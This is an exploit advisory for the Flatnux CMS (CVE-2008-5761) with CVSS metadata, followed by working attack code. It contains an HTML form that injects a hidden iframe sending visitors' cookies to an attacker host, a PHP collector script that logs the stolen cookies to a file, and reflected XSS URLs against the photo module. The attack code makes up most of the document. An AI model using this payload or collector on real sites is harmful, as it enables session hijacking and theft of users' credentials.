Flatnux html/javascript Injection Cookie Grabber Exploit

2009.01.02

Credit: gmda

Risk: Low

Local: Yes

Remote: No

CVE: CVE-2008-5761

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

<!--
exploit flatnux grabber cookies visitor
site :http://www.speleoalex.altervista.org/flatnuke3/index.php
download:http://www.speleoalex.altervista.org/flatnuke3/index.php?mod=06_Download
author:gmda

Flatnux does not filter code html/javascript then you can injector in this way:

operation
1] register
2] make longin
3] use the HTML code below
-->
<html><head>
</head>
<body>
<form enctype="multipart/form-data" action="http://victim.org/flatnux/index.php?mod=08_Files&amp;opmod=insertrecord" method="POST">
titolo*<input  size ="20"  style="visibility:hidden;" value="filex &lt;iframe  width=&quot;0&quot; height=&quot;0&quot; style=&quot;visibility:hidden;&quot; src=&quot;javascript:window.location=&apos;http://attacker.org/grab.php?cmd=&apos;+document.cookie;&quot;&gt;&lt;/iframe&gt;" name="name" type="text" /><br />
<textarea title="Inserisci qui la descrizione" cols="80"  rows="10"  name="description" style="visibility:hidden;" ></textarea><br />
Immagine<input  size="20" name="foto1" type="file" style="visibility:hidden;" /><br />
File<input  size="20" name="file" type="file" style="visibility:hidden;" /><br />
<input type="submit" value="Zic">
</form>
</body></html>
<!-- grab.php
<?php $data = $_GET['cmd'];
$date=date("j F, Y, g:i a");
$referer=$_SERVER['HTTP_REFERER'];
$fh = fopen("cookie.txt",'a+');
fwrite($fh, $referer . " / " . $data."\n".$date."\n");
fclose($fh);
?>
-->

<!-- xss variables mod foto

/sections/05_Foto/photo.php?mod=05_Foto&foto=>"><script>alert(69)%3B</script>&lang=it
/?mod=%3E%22%3E%3Cscript%3Ealert(69)%3B%3C/script%3E

-->

See this note in RAW Version

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Flatnux html/javascript Injection Cookie Grabber Exploit

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